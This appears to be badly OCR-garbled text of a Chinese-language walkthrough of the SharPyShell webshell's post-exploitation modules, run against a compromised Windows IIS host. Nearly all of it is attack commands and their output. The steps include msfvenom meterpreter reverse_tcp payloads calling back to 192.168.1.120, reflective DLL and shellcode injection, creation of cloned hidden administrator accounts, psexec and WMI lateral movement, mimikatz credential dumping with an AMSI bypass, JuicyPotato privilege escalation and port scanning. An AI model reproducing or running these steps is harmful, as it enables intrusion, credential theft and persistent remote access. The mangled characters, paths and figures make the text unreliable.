C:\Windows\Temp> #download C:\ProgramData\M516-0832_x64.exe /tmp/M516-032_x64.exe

File Downloaded correctly to /tmp/MS16-832 x64.exe

f#texec_cmd

ER%528 15T cmd.exe /c @55

Usage: #exec_cmd os_command [args]

C:\Windows\Temp> #exec_cmd whoami /priv

C:\Windows\Temp> #exec_cmd whoami /priv

SeIncreaseQuotaPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeImpersonatePrivilege
SeCreateGlobalPrivilege &1l
SeIncreaseWorkingSetPrivilege &

Hexec_ps

EIRS525 F154T powershell.exe —nop —noni —enc 'base64command

Usage: #exec_ps os_command [args]
C:\Windows\Temp> #exec_ps $psversiontable
C:\Windows\Temp= #exec ps sversiontable

value

CLRVersion

Buildversion

PSVersion

wWSManStackVersion

PSCompatiblevVersions {1.0, 2.8}
SerilalizationVersion 1.1.8.1
PSRemotingProtocolVersion 2.1

#tinject_dlI_reflective



£ DLL REHF AEIFTHOEZS A HZE, DLL MBS ReflectiveLoader S HAYREN,
EFW B modules/reflective_dll / B T, E}\iﬁ‘é % remote_virtual (BRIA) .
remote_virtual_protect, WRXHIEEHFE PID RERINEANEI cmd.exe iz

© #inject_dl1l_reflective [injection_type] [remote_process]

N\ \ > #inject_dll_reflective .dll

C:\Windows\Temp> #inject_dl1_reflective messagebox_reflective.dll

Started process cmd.exe with pid 6104

Correclty opened a handle on process with pid 6164
Allocated memory RWX for code of 67584 bytes

Code written into remote process. Bytes written: 67584
Using CreateRemoteThread...

Remote Thread started!

Code executed left in background as an async thread in the process 'cmd.exe' with pid 6184

#inject_dll_srdi

/A DLL BAEAZIFHHZS B HIZEFR, T2 dil SXKEHETE modules/dll / B
T, SEAZEETIF: remote_virtual (EAIA) . remote_virtual_protect, R HIZEHF
PID BSERIAJENE cnd.exe iz

-p windows/x64/meterpreter/reverse_tcp 1lhost=192.168.1.120 lport=443 -f dll1 > /
tmp/shellcode.dll

Usage: #inject_dll_srdi dll_path [injection_type] [remote_process]

C:\Windows\Temp> #inject_dll_srdi shellcode.dll

C:\Windows\Temp> #inject_dl1l_srdi shellcode.dll

Started process cmd.exe with pid 6156

Correclty opened a handle on process with pid 6156
Allocated memory RWX for code of 7168 bytes

Code written i1nto remote process. Bytes written: 7168
Using CreateRemoteThread...

Remote Thread started!

Code executed left in background as an async thread in the process 'cmd.exe' with pid 6156

#inject_shellcode



A2 I AR T shellcode, MSF 4 shellcode BT raw , JENERIL I
remote_virtual (ZLIA) . remote virtual_protect, WRSHEIRTEFHIE PID REINENE)

nw

cmd.exe g

-p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=443 -f raw > /
tmp/shellcode.bin

Usage: #inject_shellcode shellcode_path [injection_type] [remote_process]

C:\Windows\Temp> #inject_shellcode /tmp/shellcode.bin

C:\Windows\Temp> #inject_shellcode /tmp/shellcode.bin

Started process cmd.exe with pid 3492

Correclty opened a handle on process with pid 3492
Allocated memory RwWX for code of 1824 bytes

Code written into remote process. Bytes written: 1024
Using CreateRemoteThread...

Remote Thread started!

Code executed left in background as an async thread in the process 'cmd.exe' with pid 3492

#tinvoke_ps_module

FEBmRSEs LT pst B

Usage: #invoke_ps_module ps_module [appended_code]

C:\Windows\Temp> #invoke_ps_module clone.psl ';Create-Clone -u betasecl23 -p pass!@#123'

C:\Windows\Temp= #invoke_ps_module clone.psl ';Create-Clone -u betasecl23 -p

Uploading encrypted ps module....

File uploaded correctly to: C:\Windows‘\Temp'\gywgdf\msSimartmchm

Module executed correctly:
*] Start
Tring to change reg privilege !
Create User...
Creating new local user betasecl23 with password
Adding local user betasecl23 to Administrators.
Ensuring password for betasecl23 never expires.
Get User betasecl?3's Key ..
10B4ch
t User administrator's Key ..
)e1f4
one User..
Get clone user'F value
Change user'F value
Delete User..
Change reg privilege back !
Done




#invoke_ps_module_as

D45E R S0 E B ImARSS 25 £isiT pst B4

: #invoke_ps_module_as [appended_code] [domain] [process
_timeout_ms] [logon_type]

A\ \ > #invoke_ps_module_as .psl @4 ';Create-Clone -u
betasec456 -p pass!@#123

C:\Windows\Temp> #invoke ps module as clone.psl betasecl23 pass!@#123 ';Create-Clone -u betasec456 -p pass!@#123'

ule executed correctly:
Start
Tring to change reg privilege !
Create User.
Creating new 10ca1 user be
1 ]

Get User administrator's
eooeelfa
Clone User..
Get clone user'F value
Change user'F value

ete User..
Change reg privilege back !
Done

Mod
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[1]
[*]
[!]
[*]
[*]
[*]
[*]
[*]
[*]

#lateral_psexec

1517 psexec 1T ML)

© #lateral_psexec [local_user] [local_password]

[local_domain]

A\ \ > #lateral_psexec 192.168.1.108 1@# 'emd /c whoami'

C:\Windows\Temp> #lateral_psexec 192.163.1.108 administrator ‘emd /e whoami!

Uploading psexec binary....

- @ - 102400 bytes written correctly to C:
102400 - 204800 bytes written correctly
04800 - 307200 bytes written correct1v
3087200 - 40%00 byte
> \Windows\Tempy61lvfr

- Execute proc ; remotely
y ) 2081-2016 Mark R Hlnovlch
sinternals - www.sysinternals.

win-5bsk871dovnyadministrator

Starting cmd on
cmd exited on 19

#lateral_wmi



TITNE WMI a7, =& Administrator AR 4T, SYSTEM AURHATIE
T HE4BIA(0]
© #lateral_wmi [local_user] [local_password] [lo

cal_domain]

:\ \ > #lateral_wmi 192.168.1.112 1@ 'emd /c whoamti'

administrator ‘emd o whoami®

Method execution succe
Out Parameters:
instance of __ PARAMETERS

ProcessId = 1688;
ReturnValue = 0;

#tmimikatz

BEEEARAFEFISIT mimikatz, HATEESE: psT (BRIA) . exe. reflective_dll

Usage: #mimikatz [exec_type] [username] [password] [domain] [custom_command]

\Windows\Temp> #mimikatz psl
\Windows\Temp> #mimikatz exe
\Windows\Temp> #mimikatz dl1 //Bypass Windows Defender AMSI

Windows\Temp=> #mimikatz exe

Uploading mimikatz binary....

( \Hlndowa\Temp qp;gm;uomga\uEH smmu73eddbt.exe

s written correctly C:\Wind n75mmu73edobt.exe
s written correctly T\W1 Temp_qp;gm;uomg n75mmu73edobt.exe
s written correctly T\W1 Temp\gp7gm7uomg n75mmu73edobt.exe
s written correctly T\W1 Temph\gp7gm7uomgs\y5n75mmu73edsbt.exe
ytes written correctly T\W1 Temp\gp7gm7uomgs’ ysn75mmu73edobt.exe

716800 ytes written correctly T\W1 Temp\qp7gm7uomg n75mmu73edobt.
819200 written correctly T\W1 Temp\gp7gm7uomgs\ySn75mmu73edsbt.exe
wrltten correct]v : s\Temp\gp7gm7ucmgs\ y5n75mmu73eddbt .exe

..\wlndow \Temp\gp7gm7uomgs\ysn7smmu73edobt.exe
File uploaded correct]d \HlndownETemp\qp;gm;uomga smmu73ed9bt.exe

mimikatz 2.1.1 (x64) #17763 Dec 9 2018 23:5
"A La Vie, A L'Amour” - (oe.eo] ** Kitten Edition
/ Ben]amln DELPY “gentilkiwi® ( benjamin@gentil
/ .gentilkiwi.com/mimikatz
1ncent LE TOUX ( vincent.letoux@gmail.com ]
ingcastle.com / http://mysmartlogon.com

mimikatz (commandline) # privilege::debug
Privilege '20' 0K

mimikatz (commandline) # sekurlsa::logonpasswords

Authentlcatlon Id : @ ; 996 (QOEEEEEEE:ROEAAA3s4)
: Service from @
SK871DOVNS

Domain
Logon Server




#tnet_portscan

ERBEMERFHTIROEE, BN R /2 P #TiaE

Usage: #net_portscan hosts [ports] [custom_arguments]

\Windows\Temp> #net_portscan 192.168.1.108,192.168.1.120
\Windows\Temp> #net_portscan 192.168.1.0/24 '445' ' -T 5"

C:\Windows\Temp> #net portscan 192.168.1
e-p scan.psl v0.13 s
52.168.1.120" -TopPort

report for 1

STATE
closed
closed
open
closed
open

closed
open
open
closed
closed

2080 closed

Porscan.psl scan report for 192.162.1
Host 1s up

STATE

closed

open

closed

Hprivesc_juicy_potato

{8 Juicypotato HITIRIEF, BITEAIL T exe. reflective_dll (BRIA)

Usage: #privesc_juicy_potato cmd [exec_type] [clsid] [custom_shellcode_path]

C:\Windows\Temp> #privesc_juicy_potato 'C:\ProgramData\64.exe' 'reflective_dll' '{752073
A1-23F2-4396-85F0-8FDB879EDQED} '



> \Window mp= whoami
iis apppoolidefaultapppool
\Windows\Temp= #privesc_ y_potato ProgramDatai\msf_64.exe' 'reflective_dl1®

Injecting Reflective DLL into remote process...

Started process cmd. with pid 3040

Correclty opened a handle on process with pid 3040

Allocated memory RWX for code of 34¢ bytes

Code written into remote process. Bytes written: 349184
Thread parameters detected. Starting te allocate memory RW ...
Allocated memory RW for thread parameters of 428 bytes

Thread parameters written into remote process. Bytes written:
Using CreateRemoteThread...

Remote Thread started!

Code cuted and exited correctly

Process cmd with pid 3040 has been killed
Reflective DLL injection cuted!

Output of juicy potato:

{ 1d34b-B80al-4
MListener bindresult

authResult
1d34b-80al- 3: }: WNT AUTHORITY

[+] CreateProcessWithTokenwW 0K
Payload lengt 30z
WriteProcessResult: 1; lpnumber: 382

Hprivesc_powerup

1517 Powerup BRI privesc BB IRECE, FEAT I B TFHRIEFAIAGESS
Windows 55

: #privesc_powerup [username] [password] [domain] [custom_command]

A\ \ > #privesc_powerup



MWindows\Temp= #privesc_powerup

Uploading encrypted ps module....

= B - 182400 bytes written correctly to C nHlndoWH‘Temp‘qp;gm;uomgw‘r91u rzwr
102400 - 204800 bytes written correctly C
¢ ¢ ' written correctly
written correctly :
written correctly T\ Temp'.gp7gm7ucm
5 6144 ; written correctly 1 \Temp\gp7gm7uomgs\ reluz rzwr
File uploaded correct1v to: Hlndowa‘Temp‘qp;gm;uomga reluzrzwr

Module executed correctly:
[*] Checking for User Has Local Admin Privileges...

Check : User Has Local Admin Privileges

[*] Checking for User In Local Group with Admin Privileges...

Check _ : User In Local Group with Admin Privileges
AbuseFunction : Invoke-WScriptUACBypass -Command "..."

#frunas

DS EAF 511517 cmd.exe / ¢

. #frunas [domain] [process_timeout_ms] [logon_type]

A\ \ > #runas l@#

C:\Windows\Temp> #exec_cmd whoami
nt authority\system

C:\Windows\Temp> #runas whoami administrator
win-5bSk871dovn\administrator

f#frunas_ps

DUSTE R 511517 powershell.exe —enc



© #runas_ps [domain] [process_timeout_ms] [logon_type]

A\ \ > #runas_ps l@#

C:\Windows\Temp> #exec_ps whoami
nt authority\sys

C:\Windows\Temp> #runas_ps whoami administrator
win-5bsk871dovn\administrator

#upload
G L EEIRSS 28

Usage: #upload local_input_path [remote_output_path] [chunk_size]

C:\Windows\Temp> #upload /tmp/local.txt C:\Windows\debug\WIA\group.txt

C:\Windows\Temp> #upload /tmp/local.txt C:\Windows\debug\WIA\group.txt
Windows\debug\WIA\group.txt
shdebugiWIAY

C:\Windows\debug\WIA FIE F

2021/03/07 21:46
JO7  21:46

2021/03/07 21:46 856 grou_p._txt
1 i 856 =37
2 - 1,302,904,832 ]S

AEED

1. SharPyShell v1.2.1 iR B FIF e IE AR A Fo MR T lateral_psexec =R,
V1.0 flRAHA,

2. TWEEEA ca S UIREFTB BN SUFRE P, X 0] EIZIE

Issues HEEIFIF.

e Nhttps://github.com/antonioCoco/SharPyShell/issues/6



